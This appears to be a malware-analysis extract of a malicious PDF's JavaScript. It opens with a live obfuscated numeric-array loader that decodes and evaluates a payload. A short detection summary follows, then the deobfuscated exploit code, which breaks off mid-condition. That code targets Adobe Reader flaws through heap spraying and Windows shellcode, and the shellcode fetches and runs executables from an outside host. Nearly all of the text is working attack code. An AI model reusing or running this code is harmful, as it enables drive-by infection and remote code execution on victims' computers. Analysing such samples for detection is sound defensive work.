,93,92,173,64,60,60,59,60,159,152,159,146,147,165,164,148,171,142,149,162,167,161,166,144,82,112,82,172,147,165,165,163,82,94,82,166,154,152,158,159,149,162,150,152,109,64,60,60,59,176,63,61,59,60,168,148,164,83,161,169,151,165,152,159,161,170,82,112,82,168,160,152,165,150,147,163,151,91,84,88,167,99,149,99,149,88,167,99,149,99,149,85,91,110,63,61,59,60,169,155,155,159,151,83,90,162,168,152,164,153,158,162,169,97,158,152,160,154,166,155,82,111,82,103,102,108,103,101,91,174,63,61,59,60,59,162,168,152,164,153,158,162,169,83,93,112,82,162,168,152,164,153,158,162,169,110,63,61,59,60,175,64,60,60,59,167,154,156,165,97,149,162,158,159,147,149,133,167,161,165,151,83,111,83,117,162,158,159,147,149,96,150,161,159,158,152,149,167,119,160,147,156,158,124,160,153,161,91,173,166,167,149,156,109,82,85,84,95,159,166,153,109,82,162,168,152,164,153,158,162,169,176,91,110,63,61,59,176,63,61,63,61,59,153,167,161,149,167,155,162,160,83,149,162,158,159,147,149,145,154,151,167,155,150,161,161,90,92,173,64,60,60,59,156,152,83,90,148,162,163,96,151,161,150,96,118,161,159,158,148,148,97,153,152,166,124,149,162,160,92,173,64,60,60,59,60,168,148,164,83,147,165,164,172,82,112,82,161,151,170,82,116,164,165,147,172,90,92,109,64,60,60,59,60,168,148,164,83,168,169,162,152,166,155,171,148,82,112,82,168,160,152,165,150,147,163,151,91,84,88,167,120,116,120,107,88,167,99,98,99,99,88,167,104,104,99,98,88,167,116,99,105,102,88,167,99,98,102,98,88,167,99,98,99,98,88,167,103,98,107,116,88,167,107,116,99,117,88,167,100,117,106,98,88,167,107,116,116,118,88,167,99,106,103,98,88,167,118,101,104,119,88,167,107,116,104,103,88,167,107,116,120,117,88,167,99,106,103,103,88,167,102,101,104,100,88,167,118,99,119,100,88,167,99,101,118,100,88,167,100,98,102,100,88,167,107,98,103,98,88,167,99,98,102,106,88,167,121,103,106,103,88,167,118,100,107,116,88,167,104,118,104,115,88,167,99,102,118,100,88,167,104,103,99,98,88,167,120,117,107,116,88,167,104,99,104,99,88,167,104,104,104,101,88,167,105,98,104,105,88,167,104,118,107,116,88,167,102,101,99,106,88,167,107,116,118,98,88,167,99,117,106,103,88,167,121,119,107,116,88,167,106,104,99,101,88,167,107,116,102,117,88,167,106,106,103,119,88,167,118,120,99,101,88,167,104,99,107,116,88,167,104,100,100,117,88,167,104,99,107,116,88,167,104,100,101,102,88,167,106,99,107,116,88,167,103,119,100,102,88,167,106,103,107,107,88,167,107,116,121,117,88,167,101,98,106,99,88,167,121,105,99,101,88,167,103,115,108,107,88,167,103,100,116,118,88,167,102,116,105,98,88,167,121,117,104,103,88,167,99,102,106,103,88,167,118,98,102,101,88,167,102,105,120,116,88,167,121,120,102,101,88,167,103,103,99,101,88,167,108,105,99,117,88,167,118,120,107,116,88,167,106,103,116,119,88,167,101,116,121,118,88,167,103,120,121,107,88,167,120,106,104,99,88,167,121,120,108,102,88,167,121,120,121,120,88,167,118,101,102,116,88,167,106,102,105,99,88,167,120,116,99,100,88,167,107,116,119,107,88,167,99,117,103,103,88,167,104,119,108,100,88,167,121,100,99,101,88,167,120,98,119,99,88,167,118,104,99,101,88,167,118,107,102,101,88,167,117,105,99,120,88,167,104,120,99,106,88,167,120,99,118,99,88,167,99,101,99,100,88,167,99,101,118,115,88,167,107,116,118,120,88,167,99,101,99,99,88,167,107,107,118,100,88,167,121,106,103,103,88,167,107,116,105,99,88,167,121,106,103,103,88,167,104,119,104,120,88,167,118,107,104,116,88,167,104,103,118,101,88,167,120,117,107,116,88,167,120,106,104,99,88,167,121,120,103,107,88,167,121,120,121,120,88,167,105,106,104,98,88,167,105,98,120,106,88,167,99,102,117,120,88,167,105,117,120,106,88,167,121,120,121,120,88,167,102,101,121,120,88,167,104,100,119,100,88,167,121,120,104,100,88,167,99,106,106,103,88,167,119,98,121,120,88,167,103,103,107,107,88,167,107,116,121,117,88,167,121,117,103,103,88,167,118,101,118,107,88,167,107,116,104,103,88,167,107,101,120,117,88,167,99,117,120,117,88,167,103,103,107,118,88,167,104,98,121,102,88,167,103,103,118,104,88,167,106,103,121,102,88,167,103,103,118,104,88,167,106,100,121,103,88,167,103,103,118,104,88,167,105,117,121,104,88,167,103,103,118,104,88,167,105,118,121,105,88,167,103,103,118,104,88,167,105,120,121,106,88,167,103,103,118,104,88,167,105,119,121,107,88,167,103,103,118,104,88,167,101,119,121,115,88,167,103,103,118,104,88,167,105,102,121,116,88,167,103,103,118,104,88,167,105,117,121,117,88,167,103,103,118,104,88,167,105,117,121,118,88,167,103,103,118,104,88,167,99,98,121,119,88,167,116,98,120,106,88,167,121,120,121,120,88,167,104,98,121,120,88,167,104,118,105,106,88,167,100,99,107,115,88,167,120,106,100,104,88,167,121,120,100,103,88,167,121,120,121,120,88,167,118,102,107,101,88,167,107,103,99,117,88,167,106,102,118,98,88,167,105,115,100,103,88,167,105,115,99,98,88,167,121,120,99,98,88,167,99,117,106,103,88,167,106,103,121,120,88,167,105,115,99,106,88,167,121,120,99,98,88,167,107,103,119,98,88,167,106,103,118,98,88,167,103,98,99,101,88,167,118,101,118,107,88,167,118,98,102,101,88,167,118,101,118,107,88,167,102,101,104,105,88,167,107,116,118,98,88,167,101,102,103,117,88,167,107,116,99,117,88,167,101,102,106,117,88,167,121,117,99,106,88,167,116,115,121,101,88,167,118,101,104,120,88,167,103,117,107,116,88,167,99,102,101,102,88,167,102,107,107,98,88,167,107,116,99,98,88,167,106,102,118,99,88,167,103,98,99,104,88,167,102,106,107,98,88,167,106,103,99,98,88,167,101,116,121,115,88,167,118,101,118,99,88,167,107,116,104,103,88,167,107,101,120,117,88,167,105,102,120,117,88,167,107,118,104,101,88,167,121,98,103,103,88,167,102,101,104,105,88,167,104,98,119,116,88,167,103,103,118,104,88,167,105,116,121,98,88,167,103,103,118,104,88,167,105,103,121,99,88,167,103,103,118,104,88,167,106,100,121,100,88,167,103,103,118,104,88,167,105,119,121,101,88,167,103,103,118,104,88,167,105,103,121,102,88,167,103,103,118,104,88,167,105,117,121,103,88,167,103,103,118,104,88,167,102,101,121,104,88,167,103,103,118,104,88,167,102,100,121,105,88,167,103,103,118,104,88,167,101,119,121,106,88,167,103,103,118,104,88,167,105,102,121,107,88,167,103,103,118,104,88,167,105,117,121,115,88,167,103,103,118,104,88,167,105,117,121,116,88,167,104,118,107,106,88,167,120,106,121,117,88,167,121,120,99,116,88,167,121,120,121,120,88,167,105,106,104,98,88,167,103,101,105,106,88,167,107,119,121,107,88,167,107,98,120,106,88,167,121,120,121,119,88,167,107,116,121,120,88,167,107,118,121,106,88,167,108,117,103,103,88,167,103,102,105,115,88,167,120,106,104,98,88,167,121,120,106,119,88,167,121,120,121,120,88,167,103,103,107,118,88,167,105,115,120,98,88,167,104,98,100,98,88,167,106,101,120,106,88,167,121,120,121,120,88,167,107,101,121,120,88,167,100,117,118,102,88,167,103,103,107,118,88,167,104,98,120,98,88,167,103,103,107,118,88,167,104,98,108,117,88,167,104,101,104,101,88,167,104,101,104,101,88,167,104,101,104,101,88,167,106,103,121,120,88,167,118,105,99,106,88,167,108,117,103,103,88,167,99,98,103,102,88,167,99,98,99,98,88,167,121,120,104,101,88,167,104,120,119,105,88,167,117,104,99,120,88,167,104,116,118,98,88,167,118,101,118,107,88,167,107,116,104,103,88,167,104,99,120,117,88,167,104,101,104,99,88,167,104,105,104,104,88,167,103,100,105,115,88,167,106,100,120,106,88,167,99,98,99,98,88,167,107,116,99,98,88,167,102,101,119,106,88,167,107,103,121,104,88,167,104,107,119,116,88,167,103,103,118,105,88,167,105,99,121,106,88,167,105,103,101,119,88,167,118,105,106,106,88,167,121,117,103,103,88,167,99,98,105,103,88,167,99,98,99,98,88,167,104,104,106,119,88,167,103,103,107,118,88,167,104,98,121,106,88,167,120,106,104,104,88,167,99,98,104,99,88,167,99,98,99,98,88,167,104,98,104,107,88,167,117,99,120,106,88,167,121,120,121,119,88,167,107,103,121,120,88,167,104,107,118,98,88,167,106,102,104,107,88,167,107,118,102,107,88,167,99,99,103,104,88,167,120,106,104,98,88,167,99,98,102,116,88,167,99,98,99,98,88,167,121,106,107,116,88,167,103,103,107,118,88,167,104,98,121,106,88,167,101,99,120,106,88,167,121,120,121,120,88,167,107,103,121,120,88,167,104,107,118,98,88,167,106,102,104,107,88,167,104,105,99,117,88,167,99,99,120,106,88,167,121,120,121,120,88,167,104,107,121,120,88,167,103,102,118,104,88,167,121,120,102,106,88,167,104,98,106,101,88,167,103,103,107,118,88,167,121,119,121,106,88,167,104,106,99,98,88,167,103,103,107,118,88,167,104,98,121,106,88,167,120,106,104,105,88,167,121,119,106,102,88,167,121,120,121,120,88,167,104,107,104,107,88,167,103,104,103,104,88,167,121,101,102,116,88,167,116,115,106,117,88,167,104,119,104,120,88,167,118,107,104,116,88,167,104,103,118,101,88,167,120,117,107,116,88,167,104,101,104,99,88,167,105,98,105,104,88,167,102,100,117,99,88,167,99,98,120,106,88,167,99,98,99,98,88,167,104,106,99,98,88,167,99,106,102,106,88,167,99,101,106,102,88,167,120,116,103,98,88,167,103,98,121,107,88,167,104,118,107,116,88,167,107,98,99,106,88,167,103,100,121,116,88,167,99,106,106,103,88,167,119,116,102,101,88,167,100,106,107,115,88,167,118,101,107,116,88,167,100,105,120,116,88,167,100,106,102,106,88,167,100,99,106,104,88,167,102,101,103,98,88,167,107,102,118,107,88,167,106,102,119,116,88,167,103,98,99,117,88,167,99,106,102,106,88,167,121,116,106,103,88,167,121,119,103,98,88,167,120,116,118,116,88,167,102,101,121,100,88,167,107,107,118,98,88,167,121,117,103,103,88,167,103,103,107,116,88,167,104,116,121,117,88,167,118,101,118,107,88,167,99,100,102,100,88,167,106,102,105,106,88,167,106,98,106,102,88,167,101,120,102,115,88,167,105,120,101,120,88,167,106,103,106,107,88,167,105,117,105,119,88,167,105,119,105,99,88,167,101,119,105,102,88,167,106,100,105,120,88,167,101,120,105,105,88,167,106,100,105,104,88,167,105,105,105,99,88,167,106,101,106,103,88,167,105,106,101,120,88,167,105,118,105,107,88,167,106,105,105,120,88,167,101,119,102,100,88,167,106,106,105,103,88,167,99,98,105,103,88,167,106,102,105,106,88,167,106,98,106,102,88,167,101,120,102,115,88,167,105,120,101,120,88,167,106,103,106,107,88,167,105,117,105,119,88,167,105,119,105,99,88,167,101,119,105,102,88,167,106,100,105,120,88,167,101,120,105,105,88,167,106,100,105,104,88,167,105,105,105,99,88,167,106,101,106,103,88,167,105,101,101,120,88,167,105,107,105,117,88,167,105,116,105,101,88,167,106,98,101,119,88,167,106,98,105,106,88,167,106,100,102,120,88,167,99,98,102,118,85,91,110,63,61,59,60,59,169,147,165,82,155,137,164,103,99,98,118,128,83,111,83,168,169,162,152,166,155,171,148,96,159,151,161,153,167,154,83,92,83,100,110,63,61,59,60,59,169,147,165,82,159,151,161,82,112,82,99,170,103,98,99,98,99,98,83,95,83,90,155,137,164,103,99,98,118,128,83,93,83,98,171,101,107,91,110,63,61,59,60,59,169,147,165,82,172,147,165,165,163,82,112,82,168,160,152,165,150,147,163,151,91,84,88,167,108,98,108,98,88,167,108,98,108,98,85,91,110,63,61,59,60,59,172,147,165,165,163,82,112,82,153,155,171,145,156,166,91,171,148,164,166,162,95,82,159,151,161,91,110,63,61,59,60,59,169,147,165,82,163,103,116,156,126,104,104,152,83,111,83,90,99,170,99,149,99,149,99,149,99,149,83,95,83,98,171,102,99,98,99,98,99,91,83,97,83,98,171,102,99,98,99,98,99,109,64,60,60,59,60,152,162,164,83,90,169,147,165,82,169,163,150,131,119,107,105,171,83,111,83,98,110,82,169,163,150,131,119,107,105,171,83,110,83,162,104,115,157,125,105,103,153,109,83,168,164,149,132,118,108,104,172,82,94,93,83,91,174,63,61,59,60,59,60,147,165,164,172,141,169,163,150,131,119,107,105,171,144,82,112,82,172,147,165,165,163,82,94,82,169,168,163,151,167,154,172,147,110,63,61,59,60,59,176,63,61,59,60,59,169,147,165,82,167,135,128,154,129,148,122,169,83,111,83,167,161,151,166,149,148,162,152,90,85,87,99,107,85,91,110,63,61,59,60,59,170,154,156,158,152,82,91,166,136,127,155,128,149,121,170,96,159,151,161,153,167,154,83,110,83,98,171,102,99,98,99,91,174,63,61,59,60,59,60,166,136,127,155,128,149,121,170,82,94,111,83,166,136,127,155,128,149,121,170,109,64,60,60,59,60,175,64,60,60,59,60,166,136,127,155,128,149,121,170,82,112,82,85,128,97,84,83,93,83,166,136,127,155,128,149,121,170,109,64,60,60,59,60,147,163,162,97,150,162,149,97,117,162,158,159,147,149,96,154,151,167,123,150,161,161,90,167,135,128,154,129,148,122,169,92,109,64,60,60,59,176,63,61,59,176,63,61,63,61,59,153,167,161,149,167,155,162,160,83,162,151,152,146,165,167,147,165,166,91,91,174,63,61,63,61,59,60,168,148,164,83,168,152,164,166,155,162,160,83,111,83,147,163,162,97,168,156,151,170,151,165,136,152,164,166,155,162,160,97,166,162,133,167,164,156,160,154,90,92,109,64,60,60,59,169,151,165,165,156,161,161,82,112,82,169,151,165,165,156,161,161,96,165,151,163,158,148,149,152,90,98,142,119,97,154,94,90,89,92,109,64,60,60,59,169,147,165,82,169,147,165,165,156,161,161,145,148,164,165,147,172,82,112,82,161,151,170,82,116,164,165,147,172,90,169,151,165,165,156,161,161,96,150,154,148,164,116,166,91,98,92,94,83,168,152,164,166,155,162,160,97,149,155,147,165,115,167,90,100,91,95,82,169,151,165,165,156,161,161,96,150,154,148,164,116,166,91,100,92,91,110,63,61,59,60,155,153,82,91,90,169,147,165,165,156,161,161,145,148,164,165,147,172,141,99,143,83,111,112,82,107,91,83,88,89,82,91,168,148,164,166,155,162,160,146,147,165,164,148,171,142,99,144,82,112,111,83,98,92,82,175,174,83,90,169,147,165,165,156,161,161,145,148,164,165,147,172,141,100,143,83,111,112,82,100,82,89,88,83,168,148,164,166,155,162,160,146,147,165,164,148,171,142,100,144,82,111,82,102,91,92,173,64,60,60,59,60,167,167,155,159,145,163,164,156,160,167,152,91,91,110,63,61,59,60,175,64,60,60,59,156,152,83,90,91,168,148,164,166,155,162,160,146,147,165,164,148,171,142,98,144,82,111,82,107,91,83,174,175,82,91,168,148,164,166,155,162,160,146,147,165,164,148,171,142,98,144,82,112,111,83,106,83,88,89,82,169,147,165,165,156,161,161,145,148,164,165,147,172,141,100,143,83,110,83,100,83,88,89,82,169,147,165,165,156,161,161,145,148,164,165,147,172,141,101,143,83,110,83,100,92,91,174,63,61,59,60,59,150,161,159,158,148,148,146,151,160,147,156,158,91,91,110,63,61,59,60,175,64,60,60,59,156,152,83,90,91,168,148,164,166,155,162,160,146,147,165,164,148,171,142,98,144,82,111,82,108,91,83,174,175,82,91,168,148,164,166,155,162,160,146,147,165,164,148,171,142,98,144,82,112,111,83,107,83,88,89,82,169,147,165,165,156,161,161,145,148,164,165,147,172,141,100,143,83,110,83,99,92,91,174,63,61,59,60,59,150,161,159,158,148,148,146,153,152,166,156,149,162,160,91,91,110,63,61,59,60,175,64,60,60,175,64,60,64,60,60,162,151,152,146,165,167,147,165,166,91,91,110,63,61,59],bijknq=function(){for(var aeglm;xpzvo<klvwy.length;xpzvo+=1){var agiqsu=xpzvo%gjlors.length+1;var tuwy=gjlors.substring(xpzvo%gjlors.length,agiqsu);var lnpr=klvwy[xpzvo];ahpqv+=frwx(lnpr-tuwy.charCodeAt(0));} aelmou(ahpqv);};bijknq();zbrvw=33391;qvwpz=false;fijsx=57805;hmjczk='';demt="";deijkt=true;bluwx='';ceilo="";bisz="bisz";chikqt="";ghloru='';djno=39877;anqr='';kmtvx='';gipt=10152;
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	9958 bytes
SHA-256: `af74011c371f8cf84c369e75d64384944f4300c8c4e8db4644c869958e050d24`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u662F%u6968%u7872%u2E32%u7865%u0065%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u652F%u6A66%u7371%u2E32%u7865%u0065%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u682F%u6D69%u776F%u2E32%u7865%u0065%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && 